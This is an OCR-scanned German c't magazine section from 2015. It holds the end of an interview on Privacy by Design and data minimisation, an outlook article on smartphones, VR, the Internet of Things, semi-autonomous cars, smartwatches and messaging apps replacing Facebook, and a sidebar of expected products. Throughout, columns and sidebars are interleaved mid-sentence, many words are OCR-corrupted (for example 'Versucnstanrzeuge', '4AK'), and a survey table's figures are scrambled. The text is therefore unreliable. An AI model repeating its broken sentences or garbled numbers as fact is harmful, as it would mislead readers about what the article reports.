gen oder Anonymisierungs- oder Pseudony- 
misierungskomponenten. Auch hat der deut- 
sche elektronische Personalausweis mehrere 
Features, die bereits in der Design-Phase 
datenschutzfreundlich konzipiert wurden. 
Beispielsweise muss nicht das Geburtsdatum 
übertragen werden, wenn eine Volljährig- 
keitsbestätigung ausreicht. Je nach Kommu- 
nikationspartner können sogar unterschiedli- 
che Pseudonyme genutzt werden. In anderen 
europäischen Ländern hat man bei der Ge- 
staltung von elDs weniger darauf geachtet. 


c't: Warum konnte sich „Privacy by Design” 
bislang nicht durchsetzen? 


Hansen: Es ist nach meiner Erfahrung nach 
unter Technik-Entwicklern nicht sonderlich 
bekannt. Mittlerweile gehören zwar Fragen 
der IT-Sicherheit zur Ausbildung von Informa- 
tikern, aber wie man rechtliche oder gesell- 
schaftliche Anforderungen in Technik und 
Prozesse gießen oder sie zumindest tech- 
nisch-organisatorisch unterstützen kann, 
wird kaum gelehrt. Die Wiederverwendung 
ist zudem ein Feature der Informatik, nämlich 
die Entwicklung von für mehrere Zwecke 
nutzbaren Modulen. Hingegen ist das zentrale 
Prinzip der Zweckbeschränkung aus dem 
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Datenschutzrecht, das heißt Daten, die für 
einen Zweck erhoben wurden, nicht für an- 
dere Zwecke zu verwenden, im Informatik- 
bereich kaum geläufig. 


c't: Wie bekannt ist „Privacy by Design“ heute? 


Hansen: Auch nachdem Mitte der 90er Jahre 
die Ideen für „Privacy by Design“ innerhalb 
der Datenschützer-Community verbreitet 
wurden, blieben sie noch immer etwas exo- 
tisch. „Privacy by Design“ wurde kaum in Soft- 
ware-Entwicklungs-Kursen oder Lehrbüchern 
behandelt. „Privacy by Design“ und Privacy- 
Komponenten finden sich nicht in Software- 
Entwicklungsumgebungen oder Bibliotheken. 
Privacy-Prinzipien wie Datensparsamkeit, 
Zweckbindung oder Rechte der Betroffenen 
wie das Auskunftsrecht sind vielen Entwick- 
lern gar nicht bekannt. Aber auch viele Daten- 
schützer beschäftigten sich im normalen 
Tagesgeschäft kaum damit: Selbst als Daten- 
sparsamkeit im Bundesdatenschutzgesetz 
aufgenommen wurde, waren keine Sankti- 
onsmöglichkeiten für den Fall vorgesehen, so- 
dass diese Regelung unbeachtet blieb. 


c't: In der Praxis spielt Datensparsamkeit also 
keine Rolle? 


Hansen: Noch zu wenig! Im Vordergrund 
stand und steht, dass für die Verarbeitung 
der personenbezogenen Daten eine Rechts- 
grundlage vorhanden ist oder die Betroffe- 
nen informiert und freiwillig eingewilligt 
haben. Datensparsamkeit, oder noch allge- 
meiner gesagt Verhältnismäßigkeit, ist zweit- 
rangig. Das zeigt sich auch an der deutschen 
PKW-Maut-Debatte: Soll ein Verfahren, bei 
dem viele Daten gesammelt werden und 
gleichzeitig eine strenge Zweckbindung per 
Gesetz vorgesehen ist, in Ordnung sein, 
wenn doch andere Länder datensparsamere 
Verfahren wie eine einfache Vignette reali- 
siert haben und auch Forschungsergebnisse 
zu datensparsamen komplexeren Lösungen 
existieren? 


c't: Wie kann Privacy by Design prüffähig 
werden - sowohl für betriebliche Datenschutz- 
beauftragte als auch für Aufsichtsbehörden? 


Hansen: Ein Checklist-Ansatz reicht nicht aus; 
Konzepte müssen begründet, Risiken müs- 
sen diskutiert werden. Und - das gehört 
noch zum Bereich der Forschung - die Syste- 
me sollten so gebaut werden, dass sie ihre 
Compliance mit dem Recht und mit den 
Privacy-by-Design-Kriterien demonstrieren 
und sich betriebliche Datenschutzbeauftragte 
und Aufsichtsbehörden stets vom korrekten 
Funktionieren überzeugen können, etwa 
durch standardisierte Protokolle und Schnitt- 
stellen. (uma) dE 
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Jürgen Kuri, Axel Kossel 


Der digitalisierte Alltag 


IT-Technik, die das Jahr 201 Bee 
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ie Smartphone-Revolution ist vorbei. 
Das Internet als mobiles Tool, mit dem 
wir unseren Alltag organisieren, ist heutzu- 
tage eine Selbstverständlichkeit. Was die 
Smartphones verändert haben, geht auf im 
Internet der Dinge. Dinge? Welche Dinge? 
Alle! Nach der Organisation des Alltags mit 
digitalen Mitteln gehen wir über zu einer Di- 
gitalisierung des Alltags, in dem die vernetz- 
ten Dinge vieles selbstständig erledigen, um 
das wir uns derzeit noch kümmern müssen. 
Zukunftsmusik? Bei Weitem nicht. Einzel- 
ne Komponenten, die zur Zukunft eines digi- 
talisierten Alltags gehören, sind schon in der 
Entwicklung oder werden in diesem Jahr be- 
reits für User verfügbar. Aber halt. So ganz 
ist sie dann doch noch nicht vorbei, die 
Smartphone-Revolution. Es geht natürlich 
weiter mit immer neuen Modellen, die noch 
bessere Bildschirme, noch schnellere Prozes- 
soren, noch mehr Speicher mitbringen. So 
richtig revolutionär ist das allerdings erst mal 
nicht mehr, es sind Weiterentwicklungen 
dessen, was die meisten von uns schon mit 
sich herumtragen. 


Das minimierte Heimkino 


Mit-Smartphones, die Bildschirme mit klei- 
nerer Diagonale als 5 Zoll haben, ist aber 
kein Blumentopf mehr zu gewinnen. Mittler- 
weile haben sich viele bereits an die 6-Zoll- 
Smartphones gewöhnt, der Übergang zu 
den kleinen Tablets wird fließend. Das wird 
auch von einer Veränderung der Gewohn- 
heiten beziehungsweise bevorzugten Ein- 
satzgebiete gefördert: Sah man noch vor 
ein, zwei Jahren Leute auf der Straße und in 
der U-Bahn vor allem in ihr Handy sprechen, 
so schauen sie jetzt im Sitzen, aber auch im 
Laufen mit gebeugtem Kopf auf ihr 
Smartphone und tippen. Telefonieren ist 
out, cal Neunk bekommen selbst 


die Social Networks zu spüren (siehe Kasten 
auf S. 83). En = 


Die großen Bildschirme - in Verbindung 
mit 64-Bit-Prozessoren, die mehr Speicher 
adressieren können - bringen auch eine 
ee "Smartphones hervor: 
s könnte man sie nen- 


tem 4K-Bildschirm und 
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Kameras, die auch 4AK-Aufnahmen erlauben. 
Eine Auflösung von AK (4096 x 2304 Pixel 
bzw. 3840 x 2160 Pixel bei Ultra-HD) auf 
einem 6-Zoll-Bildschirm, was soll denn das? 
Nun, zum einen kann man sich dadurch ein- 
fach AK-Material auf dem Smartphone an- 
schauen, wenn man unbedingt will. Die 
Smartphones bedienen dann aber als Zu- 
spieler über Chromecast, Fire TV oder ähnli- 
che Streaming-Boxen den heimischen Fern- 


Vernetzter Alltag 


Nicht nur mit 4K-Heimkino per Smartphone 
und VR-Techniken steigt allerdings der Band- 
breitenhunger, sowohl zu Hause im 
LAN/WLAN als auch unterwegs im Mobil- 
funknetz. Das Internet der Dinge mit seiner 
allgegenwärtigen Vernetzung wird eine aus- 
reichende Bandbreite des Internetzugangs 
noch dringlicher machen. 


„Intelligente, vernetzte Heimtechnik konzentriert sich auf einzelne 
Elemente [...] Sie bilden ein Netzwerk aus Dingen, die sich vom Nutzer 
per Smartphone auf die eigenen Bedürfnisse einrichten lassen.” 


seher mit den eigenen 4K-Filmen - der Dia- 
Abend, mit dem einem die Großeltern noch 
quälten, wird zum berauschenden Heimki- 
noerlebnis. Zumindest von der technischen 
Seite her. 

Heimkino-Smartphones verhelfen aber 
noch einer anderen Entwicklung, die uns im 
Jahr 2015 beschäftigen wird, zu neuen Ein- 
satzmöglichkeiten. Mit der Oculus Rift, die in 
diesem Jahr endlich in einer Consumer-Ver- 
sion herauskommen soll, deutete sich der 
Durchbruch für Virtual Reality bereits an. 4K- 
Smartphones bieten die Möglichkeit, eigene 
VR-Filme für solche Brillen zu erstellen - und 
sie bringen als Einsatzgeräte für VR-Gestelle 
wie Samsungs Gear VR die notwendige 
Auflösung für ein wirklich befriedigendes 
VR-Erlebnis. 

Ob nun Komplettbrille wie von Oculus, 
VR-Gestelle für Smartphones oder noch 
schlichter Pappkartons als VR-Aufsatz für 
Smartphones wie bei Googles Cardboard: 
2015 wird das Jahr der Virtual Reality. Hört 
sich nach all den Versprechungen früherer 
Jahre etwas seltsam an, aber die allgemein 
nutzbare Technik und vor allem die Anwen- 
dungen für preiswerten und einfachen Ein- 
satz von VR stehen nun endlich zur Verfü- 
gung. VR ist natürlich das große Thema bei 
Spielen. Aber auch die Industrie zeigt sich 
äußerst interessiert: VR-Anwendungen etwa 
für Schulungen oder zur Unterstützung von 
Technikern bei komplexen Geräten sind 
denkbar. Aber auch mit der Industrie 4.0 
wird der Einsatz von VR kommen: Die ver- 
netzte Produktion, die die Herstellung von 
individualisierten Produkten oder sehr klei- 
nen Serien ermöglicht, erfordert auch für 
das noch verbleibende Produktionspersonal 
neue Methoden der Anleitung. 

Erste Reisebüros bieten bereits virtuelle 
Anwesenheit am geplanten Urlaubsort. Sol- 
che Filme lassen sich durch VR-optimierte 
Aufnahme-Apps auf dem Smartphone, aber 
auch für andere Einsatzzwecke und durchaus 
im Privatbereich realisieren. Nicht nur Repor- 
tagen von Orten, an die der Zuschauer sonst 
nicht hinkommt: Nach dem 4K-Urlaubsvideo 
kommt auch das VR-Erlebnis, mit dem man 
Freunden und Verwandten zeigen kann, was 
man alles erlebt hat. 
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Mit dem Breitbandzugang zum Internet 
tut sich Deutschland aber seit Jahren schwer. 
Im jüngsten Report „State of the Internet” 
des Web-Loadbalancing-Dienstleisters Aka- 
mai fällt Deutschland im internationalen Ver- 
gleich sogar zurück und landet nur auf dem 
31. Platz: Im Durchschnitt erreicht der Inter- 
netzugang in Deutschland nur eine Band- 
breite von 8,7 MBit/s. Alle Pläne der Bundes- 
regierung, Abhilfe zu schaffen, scheiterten 
bislang. 
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den ein Netzwerk aus Dingen, die sich vom 
Nutzer per Smartphone abstimmen und auf 
die eigenen Bedürfnisse einrichten lassen. 

Noch weiter in die Zukunft reichen auto- 
nome und vernetzte Autos (siehe dazu auch 
den Artikel auf S.92 in dieser Ausgabe 
der c't). Versucnstanrzeuge mischen sich be- 
reits in vielen Ländern in den Verkehr und 
sogar auf der Rennstrecke haben BMW und 
Audi bewiesen, dass die Roboterautos mit 
menschlichen Fahrern mithalten können. 
Die Technik wird jedoch schrittweise einge- 
führt und beschränkt sich bislang auf weni- 
ge Situationen. 

Etliche Mercedes-Modelle von der S- bis 
herunter zur C-Klasse können auf der Auto- 
bahn im Stau und bei langsamem Verkehr 
hinter dem Vordermann beschleunigen, 
bremsen und die Spur halten. In diesem Jahr 
werden etliche Hersteller solche Stauassis- 
tenten einführen. Außerdem werden die Sys- 
teme auch als Sonderausstattung für günsti- 
gere Modelle angeboten. Wie bei Airbags, 
ESP und anderen Techniken wird es hier eine 
Entwicklung von der Oberklasse bis hinab 
zum Kleinwagen geben. 

Die nächsten Schritte beim autonomen 
Fahren sind absehbar. So haben erste Her- 
steller bereits Systeme für teilautonome 
Überholvorgänge auf der Autobahn ange- 


„Die notwendigen Sensoren [für teilautonomes Überholen 
mit dem Auto], die den Verkehr hinten und seitlich beobachten, 
sind in vielen Modellen schon drin.” 


Wir werden in diesem Jahr in den Zentren, 
möglicherweise noch in der Peripherie, Inter- 
net-Zugänge mit 100 und 200 MBit/s auch 
per Mobilfunk als Standard haben - hier lebt 
man also im digitalisierten Paradies. In Dör- 
fern und auf dem Land bekommt man davon 
nicht viel mit. Diese digitale Kluft zwischen 
Land und Stadt wird 2015 größer werden. 
Abhilfe könnte nur eine stärkere staatliche 
Investition in die Infrastruktur und beispiels- 
weise gesetzliche Regelung zu einem Inter- 
net-Zugang mit Mindest-Bandbreite als Uni- 
versaldienst schaffen. Bislang allerdings kon- 
zentriert sich die Bundesregierung darauf, 
wirtschaftliche Anreize für die Telecom-Ge- 
sellschaften und Carrier zu schaffen - was 
bislang allerdings nicht viel gefruchtet hat. 

Unabhängig aber vom tatsächlich reali- 
sierten Breitbandausbau in Deutschland wird 
das Internet der Dinge für Otto Normalver- 
braucher in diesem Jahr vor allem auf zwei 
Gebieten spür- und nutzbar: Heimtechnik 
und Autos. 

Es geht nicht mehr darum, aufwendige 
Kabelinstallationen mit proprietärer Heimau- 
tomationstechnik zu realisieren. Intelligente, 
vernetzte Heimtechnik konzentriert sich auf 
einzelne Elemente, die über Standardwege 
wie WLAN miteinander kommunizieren. 
Thermostate, Rauchmelder, Steckdosen, 
Stromzähler, Fernseher, Webcams - sie bil- 


kündigt. Die notwendigen Sensoren, die den 
Verkehr hinten und seitlich beobachten, sind 
in vielen Modellen schon drin. Bislang war- 
nen sie nur, wenn man den Blinker setzt, ob- 
wohl die Spur nicht frei ist. Künftig werden 
sie mit der Längs- und Quersteuerung zu- 
sammenarbeiten, die auch Staupiloten nut- 
zen. Die heutigen Parkassistenten, die bereits 
in die Parklücke lenken können, werden bald 
erweitert. Audi, BMW, VW und andere Her- 
steller wollen Autos ein- und ausparken las- 
sen, wenn der Fahrer schon ausgestiegen ist. 
Der Vorgang lässt sich am Smartphone über- 
wachen. BMW zeigte auf der Consumer 
Electronics Show Anfang des Jahres, wie der 
geparkte Wagen per Smartwatch herbei- 
gerufen wird. 
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Welche Geräte und Software 
kommen 


Was IT in Unternehmen 
ausmacht 


Wie die Zukunft aussieht 


Solange man aber mit Smartwatch oder 
Smartphone noch nicht das teilautonome 
Auto herbeirufen kann, übernehmen sie an- 
dere Funktionen. Bald schon sollen sie auf 
Wunsch den Schlüssel ersetzen oder sich in 
ein modulares Infotainment-System mittels 


Googles Cardboard: 
ein Pappkarton, der 
aus Smartphones 
Virtual-Reality- 
Brillen macht. 


Audi plant 
Laserscheinwerfer, 
die unter anderem 
Lichtstreifen auf die 
Straße projizieren 
können. Sie zeigen 
an, ob der Platz zum 
Überholen reicht 
(Simulation). 


Apples CarPlay oder Android Auto integrie- 
ren. Auch lassen sich Apps, die auf dem bei- 
seitegelegten Smartphone laufen, über die 
Steuerelemente und Displays des Autos be- 
dienen. Daneben werden smarte Schlüssel 
mit Display entwickelt. 


Intelligenter Begleiter am Handgelenk 


Die Smartwatch, dein Freund und Helfer? 
Früher war man ja auf dem Schulhof unten 
durch, wenn man eine klobige Uhr mit 
Taschenrechner am Handgelenk mit sich 
herumschleppte. Das änderte sich auch 
mit den ersten Smartwatch-Versuchen nur 
wenig - ein paar von jeder neuen Technik 
Begeisterte versuchten sich daran, um 
dann doch schnell vor der unhandlichen 
Bedienung, viel zu kurzer Akkulaufzeit und 
den eingeschränkten Funktionen zu kapi- 
tulieren. 


Mit der neuen Smartwatch-Generation, die 
mit dem Smartphone verbunden zu neuer 
Form aufläuft, ändert sich die Haltung ge- 
genüber den „intelligenten Uhren” lang- 
sam. Und in diesem Jahr kommt der end- 
gültige Durchbruch, prophezeien alle Au- 
guren weltweit. Spätestens mit der Apple 
Watch wird das ein Massenmarkttl] ... 


Apple zeigt wohl zum einen mal wieder, 
wie man auch mit so einem kleinen Gerät 
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vernünftige Bedienung und sinnvolle Nut- 
zungsmöglichkeiten hinbekommt. Zum 
anderen aber dürfte selbst Apple die Be- 
schränkungen der Smartwatches nicht auf- 
heben können. Sie erscheinen auf längere 
Sicht als eine Art Brückentechnik, bis sich 
eine noch sinnvollere und einfacher zu nut- 
zende Bedienung für das Internet der 
Dinge durchgesetzt hat. 


Praktisch ist es ja schon, das Smartphone 
nicht mehr aus der Tasche holen zu müs- 
sen, um am digitalisierten Alltag zu partizi- 
pieren. Stattdessen aber auf dem kleinen 
Display einer Smartwatch herumzudrücken 
oder Geheimagent-like das Handgelenk an 
den Mund zu halten, um die Sprachsteue- 
rung zu nutzen, ist möglicherweise noch 
nicht der Weisheit letzter Schluss. 


Aber Smartwatches werden nicht nur als 
Hilfsmittel für die Bedienung des Smart- 
phones boomen. Wenn man mit der Smart- 
watch auch die Handy-Bezahlfunktion nut- 


© copyright by Heise Zeitschriften Verlag 


Bei der Fahrzeugbedienung selbst geht 
der Trend zur Gestensteuerung. Nicht nur 
VW, dessen Systeme bislang über den 
Touchscreen bedient werden, sondern auch 
die Dreh-/Drücksteller-Anhänger Audi und 
BMW sehen darin eine sinnvolle Ergänzung, 
die den Fahrer wenig ablenken soll. VW zeig- 
te bereits mit einem Konzeptfahrzeug auf 
Basis des Golf R, wie das aussehen soll: Man 
zeigt mit der Hand zur Dachkonsole, um das 
Schiebedach zu steuern, und wischt dann 
nach vorne oder hinten, um es zu schließen 
oder zu öffnen. Start- und Stoppgesten sol- 
len verhindern, dass sich zum Beispiel das 
Dach ungewollt öffnet, wenn jemand im 
Fahrzeug eine Bewegung macht. 


Gestikulieren 


Eine kleine Revolution ist das Laser-Licht, 
das einige Hersteller gerade in die Serie 
einführen. Es leuchtet alle Bereiche hell aus 
und blendet nur den entgegenkommenden 
und vorausfahrenden Verkehr aus. Am 
Straßenrand erkannte Personen oder Tiere 
werden angeleuchtet, um den Fahrer auf 
die Gefahr aufmerksam zu machen, dass sie 
auf die Straße treten. Das System von BMW 
ist mit dem Navi gekoppelt und kennt da- 
durch den Straßenverlauf. So kann es Kur- 
ven rechtzeitig und präzise ausleuchten. 
Außerdem kann das Laserlicht die Fahr- 
zeugbreite auf die Straße projizieren. So 
sieht man etwa in Baustellen, ob neben 
einem LKW noch genug Platz zum Überho- 
len bleibt. 

Intelligente Heimvernetzung und auto- 
nome Autos zeigen eines der großen Pro- 
bleme im Internet der Dinge: Was bislang 
als Datensammelwut von sozialen Netzwer- 


zen kann, bekommen sowohl die elektroni- 
schen Geldbörsen als auch die Uhren selbst 
einen weiteren Schub. Und als eine Art 
erweiterter Fitness-Tracker kommen die 
Smartwatches dem Trend entgegen, mög- 
lichst viele Körperdaten für ein gesundes 
Leben und die richtige Fitness zu erfassen. 
Dass die Versicherungen dies mit Freude 
sehen, ist klar: Aufgrund der erfassten 
Daten lassen sich unter anderem Versiche- 
rungstarife anbieten, die vermeintlich ge- 
sundes Leben belohnen. Solche Angebote 
werden uns im Jahr 2015 sicherlich ins 
Haus flattern. 
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kutiert wurde, ist im Vergleich zu den Da- 
tenbergen, die im Internet der Dinge anfal- 
len, ein Klacks. Wir werden uns 2015 noch 
mehr als in den vergangenen Jahren damit 
beschäftigen müssen, was Privatsphäre im 
digitalisierten Alltag bedeutet, was sie uns 
noch wert ist. Ein Ansatz, den die EU in ihrer 
Datenschutzreform verfolgt, ist Privacy by 
Design (siehe die Artikel zu dem Thema ab 
5.82 in dieser Ausgabe der c't). Dadurch soll 
erreicht werden, dass schon bei der Ent- 
wicklung der Schutz der Privatsphäre inte- 


ken und Internetgiganten wie Google dis- gri 


und Geräte und mittels 
technischer Möglichkeiten umgesetzt wird. 
Ob dies allerdings überhaupt bei einem In- 
ternet der Dinge, das zwingend auf ausführ- 
lichen Datenaustausch und Informationen 
über den einzelnen User für sein Funktio- 
nieren angewiesen ist, machbar und er- 
wünscht ist, das ist keine Diskussion über 
Technik. Das ist eine Diskussion über die 
Gesellschaft, in der wir leben wollen, und 
über die Techniken, die sie einsetzen 
möchte. Mancher wird sich möglicherweise 
wünschen, lieber in ländlichen Regionen zu 


Die Ablösung der Social Networks 


Das ganze Netz ein Social Network! Das 
ganze Netz? Der Wunschtraum von Mark 
Zuckerberg, dass alle Welt ihr digitales 


Leben mit Facebook organisiert, ist von der 


Realisierung weiter entfernt, als man noch 
vor Kurzem hätte vermuten können. Selbst 
Zuckerbergs Firma macht sich bereits zu 
neuen Gefilden auf, um die User wenigs- 
tens bei hauseigenen Diensten zu halten. 
Denn soziale Netzwerke kommen bei jun- 
gen Nutzern nicht mehr so gut an. 


Studien aus dem vergangenen Jahr legen 
nahe, dass der Hype um Facebook zumin- 
dest in den USA und Europa vorbei ist. Ak- 
tuelle Zahlen belegen den Trend: Im Rah- 
men der JIM-Studie werden seit 1998 jähr- 
lich rund 1000 12- bis 19-Jährige Deutsche 
zu ihrem Umgang mit Medien und Infor- 
mation befragt. Die Forscher des medien- 
pädagogischen Forschungsverbunds Süd- 
west stellten Ende 2014 fest, dass die Rele- 
vanz von Facebook durch die starke Ver- 
breitung von WhatsApp gesunken ist: 
„Auch die Zahl der Freunde in sozialen 
Netzwerken hat sich von 290 im Vorjahr 
auf 256 reduziert.” 


Auch im Ranking einer Bitkom-Untersu- 
chung schlägt WhatsApp Facebook in 
Deutschland um Längen. Und das in allen 


Altergsruppen der Jugendlichen bis 16 Jah- 


ren - erst bei Älteren kann Facebook noch 
seinen Spitzenplatz verteidigen. 


In Deutschland griffen zudem 2014 erst- 
mals mehr Jugendliche mobil aufs Internet 
zu als vom PC aus: „86 Prozent nutzten 
innerhalb von 14 Tagen das Internet mit 
einem mobilen Telefon. Damit werden 
Computer beziehungsweise Laptops mit 
82 Prozent auf den zweiten Rang verwie- 
sen”, lautet ein weiteres Ergebnis der JIM- 
Studie. Fürs Verbreiten von Bildern wird 
Instagram oder Snapchat genutzt, für die 
Kommunikation lieber WhatsApp als 
Facebook. 


WhatsApp-Gründer Jan Koum selbst verkün- 


dete jüngst Erfolgszahlen. Derzeit seien 700 
Millionen Menschen registriert, die Tag für 
Tag rund 30 Milliarden Nachrichten verschi- 
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cken. Selbst Facebooks Messenger kommt 
gerade mal auf 500 Millionen Nutzer. 


Der US-amerikanische Finanzinvestor Fred 
Wilson, dessen Prognosen viel Bedeutung 
haben, postulierte Anfang Januar 2015: 
„Messaging is the new social media!” Wenn 
dem so ist, hat Facebook alles richtig ge- 
macht und bei den teuren Zukäufen von 
WhatsApp und Instagram auf exakt die rich- 
tigen Pferde gesetzt. Dabei sticht Facebook 
mit seinen Töchtern auch viele andere Un- 
ternehmen aus, die ebenfalls beim Thema 
Messaging mitmischen. So gibt es mit 
Viber, WeChat, Line und KakaoTalk mehrere 
Mitbewerber mit mehr als 100 Millionen 
Benutzern. Insbesondere Line, das mehr als 
500 Millionen Anwender weltweit einset- 
zen, versucht verstärkt auf dem deutschen 
Markt Fuß zu fassen. Seit dem Dezember 
kann man mit Line auch mobil bezahlen. 


Daneben gibt es etliche Messenger mit 
Spezialfunktionen, etwa das nicht nur in 
Unternehmen beliebte Slack, das es sehr 
einfach macht, für einzelne Projekte oder 
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leben, da sich mangels ausreichender Netz- 
werkkapazität die Probleme mit dem Inter- 
net der Dinge von selbst erledigen. 

Abseits der Datenschutzproblematik ist 
aber eines deutlich: Vom 4K-Smartphone an- 
gefangen bis zur kompletten Digitalisierung 
des Alltags durch das Internet der Dinge gibt 
es ungeahnte Möglichkeiten, sich das Leben 
zu erleichtern. Vorausgesetzt, man kann sich 
auch die notwendigen Ressourcen leisten, 
vorausgesetzt, man ist sich klar darüber, wel- 
che Implikationen dies für die eigene Privat- 
sphäre haben kann. (jk) 


Nach den Enthüllungen von Edward 
Snowden sind etliche verschlüsselnde Mes- 
senger auf den Markt gekommen, etwa 
Threema. Dem hat WhatsApp Ende des 
Jahres seine Ankündigung einer eigenen 
Ende-zu-Ende-Verschlüsselung entgegen- 
gesetzt. 


Sorgen bereitet diese Entwicklung allen, die 
vom weltweiten Mitmach-Netz schwärmen. 
Denn wenn tatsächlich bald kaum noch 
vom PC aus gesurft wird, hat das auch Kon- 
sequenzen für die Nutzungsarten: Statt lan- 
ger Postings kurze Nachrichten, Meinungs- 
fetzen statt Diskussionen, Bilder statt Blog- 
Beiträgen. Nach Meinung der Wikimedia- 
Kuratorin Phoebe Ayers bemerkt man den 
mobilen Häppchen-Konsum auch bei der 
Wikipedia-Nutzung. In ihrem Blog beschrieb 
sie jüngst, dass die Zugriffe von Desktop- 
Browsern ungefähr so abnehmen, wie die 
mobile Nutzung zunimmt. Allerdings sinke 
die Lesebereitschaft und die Verweildauer. 
Es stehe zu befürchten, dass die Mitmach- 
lust umso mehr sinke, je mehr Tablet- und 
Smartphone-Browser für den Zugriff ge- 


Themen individuelle Kanäle anzulegen. nutzt würden. (Jo Bager/Holger Bleich) 
Frage: „Welche sozialen Netzwerke nutzt Du zumindest ab und zu auch aktiv?” 
(Mehrfachnennung möglich) 
WhatsApp Facebook 
Prozent 68 Jungen 54 Prozent 
76 Mädchen 58 
10- bis 11-Jährige 9 
76 12- bis 13-Jährige 38 
79 14- bis 15-Jährige 67 
3 
2 
80 16- bis 18-Jährige 8 5 
= 
Basis: 674 Kinder und Jugendliche zwischen 10 und 18 Jahren, die das Internet nutzen 8 


Ein eindeutiges Ranking: WhatsApp schlägt unter Jugendlichen 


mittlerweile Facebook um Längen. 
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Was kommt, was bleibt 


Neue Geräte und Software, die uns 2015 beschäftigen werden 


Windows 10 
ATETTETRTTRTTTRUTTNRRTTTSRTTITRRTTTTTTTTTT) 


N Ein System, alle Geräte: Microsoft will nicht mehr jede 
\C Geräteklasse mit einem eigenen Betriebssystem ver- 
sorgen. Noch 2015 soll Windows 10 herauskommen. 
Microsoft verabschiedet sich von der bisherigen 
Strategie, neue Funktionen nur mit neuen Windows- 
Versionen einzuführen. Stattdessen soll es künftig alle 
paar Monate Funktions-Updates geben. Microsoft sieht 
für Unternehmen die Updates als optional an (Opt-in). 
Aus der Kritik an Windows 8 zieht Microsoft einige 
Konsequenzen. Das Bedienkonzept soll ausdrücklich 
Nutzer ansprechen, die sich in Windows 7 wohlfühlen. 


Autonom parken 


Autonome Autos sind noch ein paar Jahre entfernt, 
BMW präsentierte aber schon mal ein selbstständig 
parkendes Auto: Mit der Smartwatch kann man 
überwachen, dass alles gut geht. Über einen Smart- 
watch-Befehl kann man den Wagen aber auch her- 
beikommandieren. 

Solche autonom parkenden Fahrzeuge soll es 
bald geben - zuerst kommen Weiterentwicklungen 
der Parkassistenten, bei denen der Fahrer zurzeit 
noch im Auto verbleiben muss. Aussteigen und das 
Auto selbstständig in die Parklücke fahren lassen ist 
die nächste Stufe. 


© 


Apple Watch 


Apple hat nicht den Ehrgeiz, das iPhone auf Uhr- 
Format zu schrumpfen. Um alle Funktionen der 
Apple Watch zu nutzen, benötigt man ein iPhone. 
Die Uhr hat ein Touch-Display, für die Bedienung 
ebenso wichtig ist ein seitlicher Knopf, der an die 
Krone einer herkömmlichen Uhr erinnert. 

Apple hat einiges an Sensorik eingebaut, für 
zusätzliche Touch-Funktionen, aber auch für Ge- 
sundheits- und Sportanwendungen. Viele gehen 
davon aus, dass die Apple Watch die Smart- 
watches zum Massenmarkt macht. 
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Der smarte Autoschlüssel 


Das Smartphoneals Autoschlüssel und als integra- 
ler Bestandteil des Infotainment-Systems: Die Ver- 
netzung von Smartphone und Auto wird im Jahr 
2015 ein vielfach angebotenes Feature. 

Bei BMW kann man den umgekehrten Weg 
gehen und den Schlüssel zu einer Art abgespeck- 
tem Smartphone machen. Der Schlüssel bietet ein 
Display: Dort zeigt er unter anderem Informatio- 
nen über das Auto an, die er per Funk abruft. 


y | Augmented- 
Reality-Brillen 


Kommt sie oder kommt sie 
nicht? Die ersten Entwickler- 
. versionen von Google Glass 
. sorgten für jede Menge Auf- 
„.merksamkeit: Ein Computer mit 
- ‚ Display, Internetzugang, Mikro- 
). nd.Kamera integriert in 
ine Brille- Google könnte 
twas ähnlich Bahnbrechendes 
f den Markt bringen wie 
pple seinerzeit mit dem 
, iPhone. Mittlerweile gibt es 
N u Zain ge Konkurrenten, und. 


"Google versucht 2015 einen 


Das Smartph fürs Auto 


Unter anderem VW und Audi wollen ihre In- 
fotainment-Systeme mit Apple CarPlay und 
Android Auto ausrüsten. Apps, die auf dem 
Handy laufen, werden im Auto angezeigt. Es 
wird beispielsweise möglich, direkt zu tele- 
fonieren, dieSmartphone-Apps zur Naviga- 
tion zu nutzen oder Musik vom Smartphone 
abzuspielen beziehungsweise zu streamen. 
Die Bedienung der Smartphone-Apps 

läuft dann über den Touchscreen oder ande- 
re Bedienelemente des jeweiligen Wagens. 


\ euanfang mit Google Glass. 
« 


r 


Oomi Cube 


Wenn Google mit Nest Thermostate vernetzt, 
dann macht Oomi das gleich für die ganze 
Wohnung: Oomi soll als „komplettes Heim- 
automationssystem” Verhaltensmuster des 
Nutzers erkennen und auf dieser Grundlage 
automatisch ein Smart Home realisieren, das 
über die übliche Heimsteuerung mit Timern, 
Triggern und manuellen Eingaben hinausgeht. 
Ähnliche Vorhaben hat beispielsweise Google 
mit seiner Heimautomationstochter Nest. 
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OLED- und Smart-TVs 


LG bleibt dabei: Anc LEDs führe kein Weg vorbei, 
es sei die beste Technik für TV-Displays. Zwar gibt 
es einige Anbieter, die ebenfalls OLED-TVs anbie- 
ten - meist wird das Display aber von LG geliefert. 

Alle Hersteller von TV-Geräten arbeiten aber 
eifrig an den Smart-TV-Funktionen. Dieses Jahr 
ist für die TV-Hersteller die Zeit der Fernseher- 

= Betriebssysteme. WebOS (LG), Tizen (Samsung), 
Android (Sony, Philips, Sharp), Firefox OS (Pana- 
sonic) sind am Start. 


|| 


Vernetzter Hau 


Das Internet der Dinge in groß: Auch Herde bekom- 
men dieses Jahr einen Internetanschluss. Über das 
Display kann man sich dann Rezepte direkt aus dem 
Netz saugen - der Herd sorgt selbst dafür, dass die 
darin angegebenen Temperaturen auch eingehalten 
werden. Die Zutaten muss man derzeit aber noch 
selbst schneiden und zufügen. 


Virtual Reality 


C ünstige 3D-Drucker 


Der DaVinci Jr. soll in diesem Jahr für 349 US-Dollar 
den Markt kommen - ein Beispiel für den Trend 
mmer mehr günstigen 3 D-Druckern, die mit 

m üblichen FDM-Verfahren arbeiten, bei dem 

" geschmolzener Kunststoff aufgetragen wird. 
Daneben gibt es aber auch immer mehr 3D- 
Drucker, die mit Stereolithografie arbeiten und ein 
Kunstharz selektiv aushärten. So ermöglichen sie 


I 
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2015 wird das Jahr der Virtual Reality - vor allem in Spie- 
len, aber auch in Anwendungen für das reale Leben. Ocu- 
lus Rift, vor einiger Zeit von Facebook übernommen, hat 
den Trend losgetreten. Andere Anbieter ziehen nach, 
wobei vor allem VR-Gestelle, die ein hochauflösendes 
Smartphone als Display benutzen, zum Einsatz kommen. 


If 
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„einmal mehr kundtun, welcher Aktivität 


Service- Roboter 


Immer wieder wird der Durchbruch der Roboter als 
Helfer im Haushalt oder sogar bei der Krank apfegs 
prophezeit. Bis auf ein paar Versuchei Japan, Robo- 
ur ter in Altenheimen einzusetzen, und den fast schon 
berüchtigten Staubsaug- und Rasenmäh-Robotern 
